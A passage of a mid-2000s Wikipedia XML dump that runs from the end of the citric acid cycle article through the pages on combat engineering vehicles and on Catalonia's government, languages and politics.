{| align=&quot;center&quot; cellpadding=&quot;3&quot; style=&quot;border-collapse: collapse; margin-top: 15px; margin-bottom: 15px; border: 1px solid black;&quot;
|- bgcolor=&quot;#cccccc&quot;
! Molecule
! [[Enzyme]]
! Reaction type
! [[Reactant]]s/&lt;br /&gt; [[Coenzyme]]s
! [[Product (chemistry)|Product]]s/&lt;br /&gt; Coenzymes
|-
| I. [[Citric acid|Citrate]]
| 1. [[Aconitase]]
| [[Dehydration]]
|
| [[Water|H&lt;sub&gt;2&lt;/sub&gt;O]]
|-
| II. ''[[cis]]''-[[Aconitic acid|Aconitate]]&lt;/td&gt;
| 2. Aconitase
| [[Hydration]]
| H&lt;sub&gt;2&lt;/sub&gt;O
| 
|-
| III. [[Isocitric acid|Isocitrate]]
| 3. [[Isocitrate dehydrogenase]]
| [[Oxidation]]
| [[Nicotinamide adenine dinucleotide|NAD]]&lt;sup&gt;+&lt;/sup&gt;
| NADH + [[Proton|H&lt;sup&gt;+&lt;/sup&gt;]]
|-
| IV. [[Oxalosuccinic acid|Oxalosuccinate]]
| 4. [[Isocitrate dehydrogenase]]
| [[Decarboxylation]]
| 
| 
|- 
| V. &amp;alpha;-[[Ketoglutaric acid|Ketoglutarate]]
| 5. [[Alpha-ketoglutarate dehydrogenase|&amp;alpha;-Ketoglutarate&lt;br /&gt; dehydrogenase]]
| Oxidative&lt;br /&gt;decarboxylation
| NAD&lt;sup&gt;+&lt;/sup&gt; +&lt;br /&gt;[[Coenzyme A|CoA-SH]]
| NADH + H&lt;sup&gt;+&lt;/sup&gt;&lt;br /&gt;+ [[Carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]]
|-
| VI. [[Succinyl-CoA]]
| 6. [[Succinyl coenzyme A synthetase|Succinyl-CoA synthetase]]
| [[Hydrolysis]]
| [[Guanosine diphosphate|GDP]]&lt;br /&gt;+ [[Inorganic phosphate|P&lt;sub&gt;i&lt;/sub&gt;]]
| [[Guanosine triphosphate|GTP]] +&lt;br /&gt;CoA-SH
|-
| VII. [[Succinic acid|Succinate]]
| 7. [[Succinate dehydrogenase]]
| Oxidation
| [[FAD]]
| FADH&lt;sub&gt;2&lt;/sub&gt;
|- 
| VIII. [[Fumarate]]
| 8. [[Fumarase]]
| Addition ([[Water|H&lt;sub&gt;2&lt;/sub&gt;O]])
| H&lt;sub&gt;2&lt;/sub&gt;O
| 
|-
| IX. ''L''-[[Malic acid|Malate]]
| 9. [[Malate dehydrogenase]]
| Oxidation
| NAD&lt;sup&gt;+&lt;/sup&gt;
| NADH + H&lt;sup&gt;+&lt;/sup&gt;
|-
| X. [[Oxaloacetic acid|Oxaloacetate]]
| 10. [[Citrate synthase]]
| [[Condensation reaction|Condensation]]
| 
| 
|-
| XI. [[Acetyl coenzyme A|Acetyl-CoA]]
| 
| 
| 
| 
|}

The sum of all reactions in the citric acid cycle is:

: Acetyl-CoA + 3 NAD&lt;sup&gt;+&lt;/sup&gt; + FAD + GDP + P&lt;sub&gt;i&lt;/sub&gt; + 3 H&lt;sub&gt;2&lt;/sub&gt;O → &lt;br&gt; CoA-SH + 3 NADH + H&lt;sup&gt;+&lt;/sup&gt; + FADH&lt;sub&gt;2&lt;/sub&gt; + GTP + 2 CO&lt;sub&gt;2&lt;/sub&gt; + 3 H&lt;sup&gt;+&lt;/sup&gt;

Two carbons are [[oxidation|oxidized]] to CO&lt;sub&gt;2&lt;/sub&gt;, and the energy from these reactions is stored in [[Guanosine triphosphate|GTP]] , NADH and FADH&lt;sub&gt;2&lt;/sub&gt;. NADH and FADH&lt;sub&gt;2&lt;/sub&gt; are [[coenzyme]]s (molecules that enable or enhance enzymes) that store energy and are utilized in [[oxidative phosphorylation]].

===A simplified view of the process:===
* The process begins with the oxidation of pyruvate, producing one CO&lt;sub&gt;2&lt;/sub&gt;, and one acetyl-CoA.
* Acetyl-CoA reacts with the four carbon carboxylic acid, oxaloacetate--to form the six carbon carboxylic acid, citrate. 
* Through a series of reactions citrate is converted back to oxaloacetate. This cycle produces 2 CO&lt;sub&gt;2&lt;/sub&gt; and consumes 3 NAD&lt;sup&gt;+&lt;/sup&gt;, producing 3NADH and 3H&lt;sup&gt;+&lt;/sup&gt;. 
* It consumes 3 H&lt;sub&gt;2&lt;/sub&gt;O and consumes one FAD, producing one FADH&lt;sup&gt;+&lt;/sup&gt;.
* 1st turn end= 1 ATP, 3 NADH, 1 FADH&lt;sub&gt;2&lt;/sub&gt;
* Since there are two molecules of Pyruvic acid to deal with, the cycle turns once more.
* The complete end result= 2 ATP, 6 NADH, 2 FADH&lt;sub&gt;2&lt;/sub&gt;

== Regulation ==
Many of the enzymes in the TCA cycle are regulated by [[Enzyme#Metabolic pathways and allosteric enzymes|negative feedback]] from ATP when the [[energy charge]] of the cell is high. Such enzymes include the [[pyruvate dehydrogenase]] complex that synthesises the acetyl-CoA needed for the first reaction of the TCA cycle. Also the enzymes citrate synthase, isocitrate dehydrogenase and alpha-ketoglutarate dehydrogenase, that regulate the first three steps of the TCA cycle, are inhibited by high concentrations of ATP. This regulation ensures that the TCA cycle will not oxidise excessive amount of pyruvate and acetyl-CoA when ATP in the cell is plentiful. This type of negative regulation by ATP is by an [[allosteric]] mechanism. 

Several enzymes are also negatively regulated when the level of reducing equivalents in a cell are high (high ratio of NADH/NAD+). This mechanism for regulation is due to [[Enzyme#Competitive inhibition|substrate inhibition]] by NADH of the enzymes that use NAD+ as a substrate. This includes both the entry point enzymes pyruvate dehydrogenase and citrate synthase.

== Major metabolic pathways converging on the TCA cycle ==
Most of the body's [[catabolic]] pathways converge on the TCA cycle, as the diagram shows.  Reactions that form intermediates of the cycle are called [[anaplerotic reactions]].

The citric acid cycle is the second step in [[carbohydrate catabolism]] (the breakdown of sugars). [[Glycolysis]] breaks [[glucose]] (a six-carbon-molecule)  down into [[pyruvate]] (a three-carbon molecule). In [[eukaryote]]s, pyruvate moves into the [[mitochondrium|mitochondria]]. It is converted into acetyl-CoA and enters the citric acid cycle. 

In [[protein catabolism]], [[protein]]s are broken down by [[protease]] [[enzyme]]s into their constituent amino acids. These [[amino acid]]s are brought into the cells and can be a source of energy by being funnelled into the citric acid cycle.

In [[fat catabolism]], [[triglyceride]]s are [[hydrolysis|hydrolyzed]] to break them into [[fatty acid]]s and [[glycerol]]. In the liver the glycerol can be converted into glucose via dihydroxyacetone phosphate and glyceraldehyde-3-phosphate by way of [[gluconeogenesis]]. In many tissues, especially heart tissue, fatty acids are broken down through a process known as [[beta oxidation]] which results in acetyl-CoA which can be used in the citric acid cycle. Sometimes beta oxidation can yield propionyl CoA which can result in further glucose production by [[gluconeogenesis]] in liver.

The citric acid cycle is always followed by [[oxidative phosphorylation]]. This process extracts the energy from NADH and FADH&lt;sub&gt;2&lt;/sub&gt;, recreating NAD&lt;sup&gt;+&lt;/sup&gt; and FAD, so that the cycle can continue. The citric acid cycle itself does not use oxygen, but oxidative phosphorylation does.

The total energy gained from the complete breakdown of one molecule of glucose by [[glycolysis]], the citric acid cycle and [[oxidative phosphorylation]] equals about 36 ATP molecules.
The citric acid cycle is called an [[amphibolic]] pathway because it participates in both [[catabolism]] and [[anabolism]].

==See also==
*[[Oxidative decarboxylation]]
*[[Citric acid]]
*[[Glycolysis]]
*[[Oxidative phosphorylation]]
*[[Reverse Krebs cycle| Reverse (reductive ) Krebs cycle]]

==External links==
*[http://www.science.smith.edu/departments/Biology/Bio231/krebs.html An animation of the citric acid cycle]
*[http://www.johnkyrk.com/krebs.html A more detailed tutorial animation]
*[http://www2.ufp.pt/~pedros/bq/tca.htm The chemical logic behind the citric acid cycle]

[[Category:Biochemistry]]
[[Category:Cellular respiration]]
[[Category:Exercise physiology]]
[[Category:Metabolism]]

{{Link FA|it}}

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[[zh:三羧酸循环]]</text>
    </revision>
  </page>
  <page>
    <title>Combat engineering vehicle</title>
    <id>6821</id>
    <revision>
      <id>30871748</id>
      <timestamp>2005-12-10T23:43:55Z</timestamp>
      <contributor>
        <username>Cjrother</username>
        <id>20394</id>
      </contributor>
      <minor />
      <comment>sections</comment>
      <text xml:space="preserve">[[Image:Armored bulldozer DSC00856.jpg|300px|thumb|The '''EBG''' combat engineering vehicle, based on the [[AMX 30]] [[tank]], is used by the engineers of the [[French Army]] for a variety of missions.]]
'''Combat engineering vehicles''' (CEVs) are armoured vehicles built for [[engineering]] work on the battlefield or for the transportation of [[sapper]]s.

== Types of combat engineering vehicles ==

=== Modified tanks ===

Most CEVs are [[armoured fighting vehicle]]s that may be based on a [[tank]] [[chassis]] and have special attachments in order to breach obstacles. Such attachments may include dozer blades, [[land mine|mine]] rollers, cranes etc. An example of an engineering vehicle of this kind is a bridgelaying tank, which replaces the turret with a segmented hydraulic [[bridge]]. Another good example is the American [[M728 Combat Engineer Vehicle]], which is equipped with a dozer blade and a 165mm [[demolition gun]].

=== Sappers' carriers ===

Another type of CEVs are armoured fighting vehicles which are used to transport [[sapper]]s ([[Combat engineer]] troops) and can be fitted with a [[bulldozer]]'s [[blade]] and other mine-breaching devices. They are often used as APCs because of their carrying ability and their heavy protection. They are usually armed with [[machine gun]]s and grenade launchers.
Some examples are the [[IDF Puma]], [[Nagmachon]], Husky [[AVGP]], and US [[Stryker]] Combat Engineering model.

=== Military [[engineering vehicle]]s ===
[[Image:D9-us pic28m.jpg|300px|thumb|USMC armored [[Caterpillar D9]] bulldozer. The civilian tractor is fitted with an armor kit, produced by [[Israel]] defence industries.]]
CEVs may also include civilian heavy equipment which was modified for military applications. In that case, the heavy vehicle must have some sort of protection - usually [[armour plate]]s and steel jackets.
Some examples are the [[IDF Caterpillar D9]] armoured [[bulldozer]], American D7 TPK, [[crane (machine)|crane]]s, [[grader]]s, [[excavator]]s, and [[DEUCE]].

=== Designated armoured engineering vehicle ===

These are vehicles specially designed as CEVs for the [[military]]. They have special engineering uses as well as armour protection.  A good example is the American [[M9 ACE]].

==See also==
* [[Combat engineering]]
* [[Engineering vehicle]]s
* [[Sapper]]
* [[Bulldozer]]
* [[Caterpillar D9]]

==External links==
*[http://www.militaryphotos.net/forums/viewtopic.php?t=4663 Combat Engineering Vehicles' pictures from around the world] (www.militaryphotos.net forums)

[[Category:Engineering vehicles]]
[[Category:Military engineering vehicles | ]]</text>
    </revision>
  </page>
  <page>
    <title>Catalonia</title>
    <id>6822</id>
    <revision>
      <id>41928843</id>
      <timestamp>2006-03-02T18:10:46Z</timestamp>
      <contributor>
        <ip>84.122.144.70</ip>
      </contributor>
      <text xml:space="preserve">:''There is a separate article on the [[Catalonia (historic territory) | historic territory of Catalonia]].
:''For the part of historical Catalonia which is now part of France, see [[Northern Catalonia]].''

{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+'''&lt;big&gt;Comunitat Autònoma de Catalunya&lt;/big&gt;'''&lt;br/&gt;'''&lt;big&gt;Comunidad Autónoma de Cataluña&lt;/big&gt;'''&lt;br/&gt;'''&lt;big&gt;Comunautat Autonoma de Catalonha&lt;/big&gt;'''
|-
| bgcolor=&quot;#ffffff&quot; align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0
| align=center width=148 | [[Image:Flag of Catalonia.svg|125px]]
| align=center width=148 | [[Image:Cataluña coa.png|75px]]
|-
| align=center width=148 | [[Flag of Catalonia|In detail]]
| align=center width=148 | [[Coat of Arms of Catalonia|Coat of Arms]]
|}
|-
| bgcolor=&quot;#c6c6c6&quot; align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Locator map of Catalonia.png]]
|-
| [[Capital]]
| [[Barcelona]]
|-
| [[Official language|Official languages]]
| [[Spanish language|Spanish]] and [[Catalan language|Catalan]]&lt;br/&gt;In [[Val d'Aran]], also [[Aranese]].
|-
| [[Area]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total&lt;br/&gt;&amp;nbsp;&amp;ndash; % of Spain
| [[List of Spanish autonomous communities by area|Ranked 6th]]&lt;br/&gt;&amp;nbsp;[[1 E10 m²|32 114]] [[square kilometre|km²]]&lt;br/&gt;&amp;nbsp;6,3%
|-
| [[Population]]&lt;br/&gt;&amp;nbsp;&amp;ndash; Total (2005)&lt;br/&gt;&amp;nbsp;&amp;ndash; % of Spain&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Density]]
| [[List of Spanish autonomous communities by population|Ranked 2nd]]&lt;br/&gt;&amp;nbsp;6 995 206&lt;br/&gt;&amp;nbsp;15,9%&lt;br/&gt;&amp;nbsp;217,82/km²
|-
|[[GDP]]
|
Total ([[2002]])&lt;br&gt;
GDP: $146.1 billion&lt;br&gt;
GDP per /capita: $26,550 (2nd)
|-
| [[Demonym]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[English language|English]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish language|Spanish]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Catalan language|Catalan]]
| &lt;br/&gt;&lt;br/&gt;&amp;nbsp;Catalan&lt;br/&gt;&amp;nbsp;''catalán (m; catalana (f)''&lt;br/&gt;&amp;nbsp;''català (m); catalana (f)''&lt;br/&gt;&amp;nbsp;
|-
| Statute of Autonomy
| [[December 22]], [[1979]]
|-
| [[ISO 3166-2]]
| ES-CT
|-
|[[National anthem]]
| ''[[Els Segadors]]''
|-
| [[Cortes Generales|Parliamentary&lt;br/&gt;representation]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Congress|Congress seats]]&lt;br/&gt;&amp;nbsp;&amp;ndash; [[Spanish Senate|Senate seats]]
| valign=bottom |&amp;nbsp;46&lt;br/&gt;&amp;nbsp;7
|-
| [[List of Presidents of Catalonia|President]]
| [[Pasqual Maragall i Mira]] ([[Partit dels Socialistes de Catalunya|PSC]])
|-
| align=center colspan=2 | [[Politics of Catalonia|Political information]]
|}
'''Catalonia''' ([[Catalan language|Catalan]]: ''Catalunya''; [[Spanish language|Spanish]]: ''Cataluña''; [[Aranese language|Aranese]]: ''Catalonha'') is one of the seventeen [[Autonomous communities of Spain|autonomous communities]] that constitute [[Spain]]. Its territory corresponds to most of the historic territory of the former [[Principality of Catalonia]]. The autonomous community of Catalonia covers an area of 31,950 km² with an official population of 6.8 million (2004). Immigrants represent 6.8% of the total population. 

Catalonian was officially recognised as a [[nationality]] in the [[Catalan Statute of Autonomy]] enacted in 1979 pursuant to the [[Spanish Constitution of 1978]].

[[Official language]]s are Catalan, Spanish (also known as Castilian), and (in [[Val d'Aran]]) Aranese.

== Government of Catalonia ==
The Government of Catalonia is known as the [[Generalitat de Catalunya|Generalitat]] in the Catalan language.  It consists of a Parliament, a President and an Executive Council. [http://www10.gencat.net/gencat/AppJava/en/generalitat/generalitat/index.jsp]

The Parliament of Catalonia has 135 seats.  It serves as the legislative body of government.[http://www.parlament-cat.net/portal/page?_pageid=34,33596&amp;_dad=portal&amp;_schema=PORTAL]

The President and the Executive Council serve as the executive authority.  They are selected by the Parliament. The Government of Catalonia consists of 16 departments or ministries. [http://www10.gencat.net/gencat/AppJava/en/generalitat/departaments.jsp]

Local governments include comarques (roughly equivalent to counties), as well as smaller forms of municipal administration.  See [[Catalonia/Comarques|comarques of Catalonia]] for the official division into [[comarques|comarca]].  Catalonia is divided into four [[provinces of Spain|provinces]]: [[Barcelona (province)|Barcelona]], [[Girona (province)|Girona]] (Gerona in Spanish), [[Lleida (province)|Lleida]] (Lérida in Spanish, Lhèida in Aranese), [[Tarragona (province)|Tarragona]].[[Image:Girona river-street.jpeg|thumbnail|right|Girona]] 

===Catalan Self-government===
After [[Francisco Franco|Franco]]'s death ([[1975]]) and the adoption of [[Spanish Constitution of 1978|a democratic constitution in Spain]] ([[1978]]), Catalonia recovered its autonomous status (lost with the fall of the [[Second Spanish Republic]] at the conclusion of the [[Spanish Civil War]] in 1939).

With few exceptions, most of the justice system is administered by national judicial institutions. The legal system is uniform throughout the Spanish State, with the exception of so-called &quot;[[Civil law (legal system)|civil law]]&quot;.  This is administered separately within Catalonia [http://civil.udg.es/normacivil/catalunya.htm].  Catalan civil law provides for an [[ombudsman]] (''Síndic de Greuges'') [http://www.sindicgreugescat.org] to address problems that may arise between private citizens or organizations and the [[Generalitat de Catalunya|Generalitat]] or local governments.

The region has gradually achieved a greater degree of autonomy since 1979. After the [[Navarre]] and the [[Basque Country (autonomous community)|Basque Country]] regions, Catalonia has the greatest level of self-government in Spain. The [[Generalitat de Catalunya|Generalitat]] holds exclusive jurisdiction in various matters of culture, environment, communications, transportation, commerce, public safety and local governments. [http://www10.gencat.net/gencat/AppJava/en/generalitat/generalitat/competencies/exclusives.jsp]  In many aspects relating to education, health and justice, the region shares jurisdiction with the Spanish government. [http://www10.gencat.net/gencat/AppJava/en/generalitat/generalitat/competencies/concurrents.jsp]
One example of Catalonia's degree of autonomy is its own police force, the [[Mossos d'Esquadra]] (literally 'squad lads'), which is currently in the process of taking over most of the role within Catalonia of the [[Guardia Civil|''Guardia Civil'']] and [[Policia Nacional|''Policía Nacional'']], which are under the authority of the Spanish national government.  However, even at the end of the transition process in 2008 [http://www.gencat.net/mossos/cme/desplegapdf/despleg.pdf], the Spanish government will keep a few agents in the region for matters relating to terrorism and immigration. Like the [[Mossos d'Esquadra]], national police forces are under the authority of the government of Catalonia [http://www.gencat.net/mossos/cme/organitzacio/contingutpdf/FuncPGME.pdf].

As an autonomous community of Spain, Catalonia has no official status or recognition at an international level.  However, as the region has progressively gained a greater degree of autonomy in recent years, the Catalan Government has opened some representative offices overseas.  Most of these carry out limited functions such as the promotion of Catalan culture, trade and foreign investment, and even the hiring of foreign labour (with a view toward easing problems with illegal immigration).  [http://www.copca.com][http://www.cidem.com/cidem/cat/elcidem/info/cidem_en.jsp][http://www.copec.es/][http://nosaltres.vilaweb.com/info/vilaweb/vilaweb.generar_directori?p_idint=670561]

==Language==
{{Catalan-speaking world|align=right}}

Catalonia is the original heartland of the [[Catalan language|Catalan]] language, and remains the most important and largest territory where the language is spoken.

Catalan is one of the two official languages of Catalonia, as established in the Catalan Statute of Autonomy [http://www10.gencat.net/gencat/AppJava/cat/generalitat/estatut/index.jsp]: the other is Spanish (Castilian), which is the language throughout Spain (its official status confirmed by the 1978 Spanish Constitution).  Catalonia has regulated its institutions and their various jurisdictions within the framework provided by the Spanish constitution in the &quot;Sau Statute.&quot;

The linguistic similarity of Spanish and Catalan eases [[bilingualism]], but it should be noted that the two are not dialects of a single language.  Catalan is properly regarded by most [[linguistics|linguists]] as being an [[Iberian Romance languages|Ibero-Romance]] language (the group that includes Spanish).  It has many features of [[Gallo-Romance languages]] such as French.

[[Occitan language|Occitan]], in its Aranese variety (a dialect of [[Gascon language|Gascon]]) is official and subject to special protection in the [[Val d'Aran]] (Aran Valley).  This small region of 7,000 is the only place where Occitan (spoken mainly in France and some Italian valleys) has full official status.

===Literacy===
According to the 2001 Linguistic Census [http://www6.gencat.net/llengcat/socio/docs/censling2001.pdf], about 5,900,000 people in Catalonia, nearly 95% of residents, understand the Catalan language. The percentage of people aged two and older who can speak, read and write Catalan is as follows:
{| align=left border=1 cellpadding=6 cellspacing=0 style=&quot;margin: 0 0 0 0; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; text-align:center; font-size: 95%;&quot;
! style=&quot;background:#efefef;&quot; colspan=3 | Knowledge of Catalan
|-
! style=&quot;background:#efefef;&quot; | Ability
! style=&quot;background:#efefef;&quot; | Individuals
! style=&quot;background:#efefef;&quot; | Percentage
|-
! style=&quot;background:#efefef;&quot; | Understands
| 5,872,202
| 94.5%
|-
! style=&quot;background:#efefef;&quot; | Speaks
| 4,630,640
| 74.5%
|-
! style=&quot;background:#efefef;&quot; | Reads
| 4,621,404
| 74.4%
|-
! style=&quot;background:#efefef;&quot; | Writes
| 3,093,223
| 49.8%
|-
! style=&quot;background:#efefef;&quot; | [[Statistical population|Population]]
| 6,215,281
| 100%
|}
&lt;br clear=all&gt;

Over the last 20 years, knowledge of Catalan has advanced significantly in all these areas, with the ability to write it having experienced the most pronounced increase, from 31.6% of the population in 1986 to 49.8% in 2001.

By age groups, those between 10 and 29 have the higher level of Catalan-language literacy (e.g., 98.2% aged 10&amp;ndash;14 understand it, and 85.2% can write it); this is attributed to these individuals having received their full education in Catalan.

Geographically, Catalan is most understood in northwest Catalonia ([[Alt Pirineu]], [[Val d'Aran]]), at 97.4%, followed by south and western Catalonia, whereas [[Barcelona]]'s metropolitan area sees the lowest knowledge, at 93.8%.  The situation is analogous for written-language skills, with central Catalonia scoring the highest percentages (61.4%), and Barcelona the lowest (46.4%).

Barcelona is one of the centres of the [[Spanish book industry]] in Spanish and the main one for Catalan-language publishing.

===Social Use===
According to a study carried out in 2003 by the Generalitat de Catalunya [http://www6.gencat.net/llengcat/socio/docs/usos2003.pdf], Catalan is used by 50.1% of the population in everyday situations.

Significantly, over 55% of respondents use Spanish to address their parents (versus 42% who choose Catalan).  This is attributed to massive immigration from southern Spain from the second half of the 20th century until the 1980s, as a consequence of which many Catalans have one or both parents from outside Catalonia. However, a majority (52.6%) use Catalan with their children (42.3% Spanish). This can be attributed to some Spanish-speaking citizens shifting from their mother tongue to Catalan at home.

Outside the family, 48.6% of the population indicate that they address strangers exclusively or preferentially in Catalan, while the proportion of those who use Spanish is 41.7%.  8.6% claim to use both equally.

See [[Catalan language]] for further information.

===Aranese===
According to the 2001 [[Aranese]] Linguistic Census [http://www6.gencat.net/llengcat/aran/docs/a_aran_cens.pdf], knowledge of Aranese in the Occitan-speaking territory of Aran is as follows:
{| align=left border=1 cellpadding=6 cellspacing=0 style=&quot;margin: 0 0 0 0; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; text-align:center; font-size: 95%;&quot;
! style=&quot;background:#efefef;&quot; colspan=3 | Knowledge of Aranese
|-
! style=&quot;background:#efefef;&quot; | Ability
! style=&quot;background:#efefef;&quot; | Individuals
! style=&quot;background:#efefef;&quot; | Percentage
|-
! style=&quot;background:#efefef;&quot; | Understands
| 6,712
| 88.88%
|-
! style=&quot;background:#efefef;&quot; | Speaks
| 4,700
| 62.24%
|-
! style=&quot;background:#efefef;&quot; | Reads
| 4,413
| 58.44%
|-
! style=&quot;background:#efefef;&quot; | Writes
| 2,016
| 26.69%
|}
&lt;br clear=all&gt;

Comparing to previous data from 1996, the number of those able to understand Aranese has declined slightly (90.5% in 1996), while at the same time there has been a marginal increase in the number of those able to write it (24.97% in 1996).

By age groups, the largest percentage of those with knowledge of Aranese is in the 15-19 and 65-69 groups (both above 96%), while those aged 30-34 score lowest (just over 80%).  Literacy is higher in the 10-19 group with over 88% declaring themselves able to read, and 76% able to write Aranese.  Those over 80 are the least literate, with only about 1.5% of them being able to write the language.

According to their place of origin, it is significant to note that in the Val d'Aran those born outside Spain outnumber Spaniards born outside Aran and Catalonia in the active use of Aranese (17% of non-Spaniards can write Aranese, while the percentage for Spaniards excluding Catalans is 10%).

[[Image:ParlamentDeCatalunya.jpg|thumbnail|right|Present-day Parliament of the Autonomous Community of Catalonia, held in [[Barcelona]].]]

==Politics of Catalonia==
:''See also [[Politics of Catalonia]]''

The first [[Catalan constitutions]] are of the [[Corts of Barcelona]] from [[1283]]. The last ones were promulgated by the court of [[1702]]. The compilations of the constitutions and other rights of Catalonia followed the Roman tradition of the Codex.

During the 19th and 20th centuries, Catalonia was one of the main centres of Spanish industrialisation.

The struggle between the Barcelonese conservative bourgeoisie and the working class, often immigrants from the rest of Spain, dominated Catalan politics.

Catalan nationalist and federalist movements arose in the nineteenth century, and when the Second Republic was declared in [[1931]], Catalonia became an autonomous region. Following the fall of the Second Republic after the Spanish Civil War of 1936-39, the authoritarian dictatorship of General [[Francisco Franco]] annulled Catalonia's autonomy statute and prohibited any public usage, official promotion or recognition of the Catalan language (although its private everday use was never proscribed).  During the last decade of Franco's rule, there was a resurgence of nationalist sentiment in Catalonia as in the other 'historic' region of the Basque provinces.

Following Franco's death in [[1975]] and the restoration of full democracy by 1978, Catalonia regained its status as an autonomous region within Spain. The Catalan nationalist leader [[Jordi Pujol]] came to power in the first regional elections in [[1980]] and his two-party coalition, Convergence and Unity ([[Convergència i Unió]] or CiU), won successive elections for 23 years.

[[Terra Lliure]] (&quot;Free Land&quot;), which was essentially a [[terrorism|terrorist]] group, sought to achieve independence through violence against Spanish interests and the wider population, but it never achieved the infamy or reach of the Basque terrorist organisatoin [[ETA]], and disbanded after negotiations with the national government.

Following the 1996 national elections in Spain, and despite his long track-record as a Catalan nationalist (especially during the Franco era), Pujol surprised many by lending CiU's support to the minority government formed by the conservative - and essentially  centralist - [[People's Party (Spain)|People's Party]] (''Partido Popular'' or PP) led by [[José María Aznar]].  Some nationalist factions became increasingly dissatisfied with Pujol's rule, especially the [[Esquerra Republicana de Catalunya|ERC]]. At the same time, the Party of Catalan Socialists ([[Partit dels Socialistes de Catalunya]] or PSC), a sister-party of Spain's main socialist party (''Partido Socialista Obrero Espanol'' or PSOE) based in the industrial heartland of [[Barcelona]], began to enjoy renewed electoral popularity.

One of the 'fault-lines' in contemporary Catalan politics arises from the fact that Barcelona, with its strong metropolitan economy, continues to attract migrants from all over Spain and Latin America.  As a result, Spanish remains the language spoken by the majority of Barcelona's inhabitants, particularly in working-class areas.  By contrast, Catalan remains the predominant language in middle-class and upper-class urban areas, as well as among the region's rural population.  The PSC has to some extent become the party of those who resent the dominance of middle-class Catalan nationalists over Barcelona.  In any case, while Catalan has undoubtedly experienced a spectacular revival since the death of Franco, the dominant presence of Spanish-speakers will continue to make universal or exclusive use of Catalan unlikely.  Recently there has been an influx of African and East European immigrants, but this has not yet influenced the political scene, even though the demographic impact of immigration can clearly be seen on the streets.

At the regional elections held on [[November 16]] [[2003]], at which Pujol retired, the combined parties of the left defeated the CiU for the first time and [[Pasqual Maragall i Mira]] became President of the [[Generalitat de Catalunya|Generalitat]]. Maragall's Socialists, however, actually lost seats: the big winners were the Republican Left of Catalonia ([[Esquerra Republicana de Catalunya]] or ERC), which favours full Catalan independence, and the Greens. While PSC mantains the post of President of the Generalitat (Maragall), ERC nominates the ''conseller primer'' (prime minister) &amp;mdash; currently, Bargalló.

Maragall's government is a somewhat uneasy coalition between the PSC, the ERC, and the ICV.

====Current political issues ====
Unlike the autonomous communities of [[Navarre]] and the [[Basque Country (autonomous community)|Basque Country]], Catalonia lacks its own tax system; thus the economic financing of the regional administration depends almost entirely on funds raised by national-government taxation and budgeted to Catalonia. This has become a mainstream issue, particularly as the proposed reform of the [[Catalan Statute of Autonomy]] is currently the subject of intense political debate at regional and national level.  From an economic perspective, the regional government aims to achieve a high degree of fiscal autonomy (based on the argument that the region pays in more to the national Spanish coffers than it receives).

There is currently (Autumn 2005) a raging political controversy in Spain as a result of the Catalan parliament's proposed draft of a replacement Autonomy Statute (supported by some 90% of the parliament's elected deputies) which seeks to define Catalonia as a  '[[nation]]'[http://www.gencat.net/nouestatut/]. Article 2 of the [[Spanish Constitution of 1978|1978 Spanish Constitution]] states that the constitution &quot;is based in the indissoluble unity of the Spanish Nation (''Nación'')&quot; while also referring to the &quot;right to autonomy of the [[nationality|nationalities]] and [[region]]s (''nacionalidades y regiones'')&quot;. These nationalities and regions are left unnamed in the Constitution. [http://www.congreso.es/funciones/constitucion/cons_t_preliminar.htm] The controversy centers on whether referring to any Autonomous Community of Spain as a &quot;nation&quot; may go against Article 2 and whether the Catalan claim to be a ''nación'' rather than a ''nacionalidad'' has [[separatism|separatist]] overtones subversive of the &quot;indissoluble unity&quot; of Spain. There is also a high degree of controversy about the control of all taxes, and a parallel judicial system. 

The proposed Autonomy Statute has been fiercely condemned by centralist political parties and media, whose constant and high profile criticism of the proposed plans has led to citizens in the rest of Spain boycotting Catalan products, and to some high ranking officers of the Spanish Armed Forces warning that they would intervene by military force if a Statute that contravened the Constitution were ever approved.

===Parties===
* [[CiU]] &amp;mdash; Convergència i Unió (Convergence and Unity) - federation
** [[Democratic Convergence of Catalonia|CDC]] &amp;mdash; Convergència Democràtica de Catalunya (Democratic Convergence of Catalonia)
** [[Democratic Union of Catalonia|UDC]] &amp;mdash; Unió Democràtica de Catalunya (Democratic Union of Catalonia)
* [[Esquerra Republicana de Catalunya|ERC]] &amp;mdash; Esquerra Republicana de Catalunya (Republican Left of Catalonia)
* [[ICV]]-[[EUiA]] &amp;mdash; Iniciativa per Catalunya-Verds &amp;ndash; Esquerra Unida i Alternativa (Green Initiative for Catalonia-Left United Alternative)
* [[Partido Popular|PP]] &amp;mdash; Partit Popular (People's Party)
* [[Socialists' Party of Catalonia|PSC]]-[[PSOE]] &amp;mdash; Partit dels Socialistes de Catalunya-Partido Socialista Obrero Español (Socialist Party of Catalonia-Spanish Socialist Workers' Party)

===Summary of votes and seats===
Votes and seats are compared with those won at the 1999 election.

 Voters:                               5,307,837
 Voting:                               3,319,276   62.5%
 Invalid votes:                            8,793   00.3%
 Valid votes:                          3,310,483   99.7%
 -----------------------------------------------------------------------------
 Party                                 Votes       %               Seats
 -----------------------------------------------------------------------------
 Convergència i Unió                   1,024,425   30.9  (-06.8)    46  (-10)
 Esquerra Republicana de Catalunya       544,324   16.4  (+07.7)    23  (+11)
 Iniciativa Verds-Esquerra Alternativa   241,163   07.3  (+04.8)     9  (+06)
 Partit Popular                          393,499   11.9  (+02.4)    15  (+03)
 Partit Socialista de Catalunya        1,031,454   31.2  (-06.6)    42  (-10)
 Others                                   75,618   02.3              -
 -----------------------------------------------------------------------------
 Total                                 3,310,483                   135
 -----------------------------------------------------------------------------

==Geography==
:''See also [[:Category:Geography of Catalonia]]''

The Spanish autonomous community of Catalonia borders on [[Land of Valencia]] to the south, [[Aragon]] to the west, [[France]] and [[Andorra]] to the north, and the [[Mediterranean Sea]] to the east and southeast.

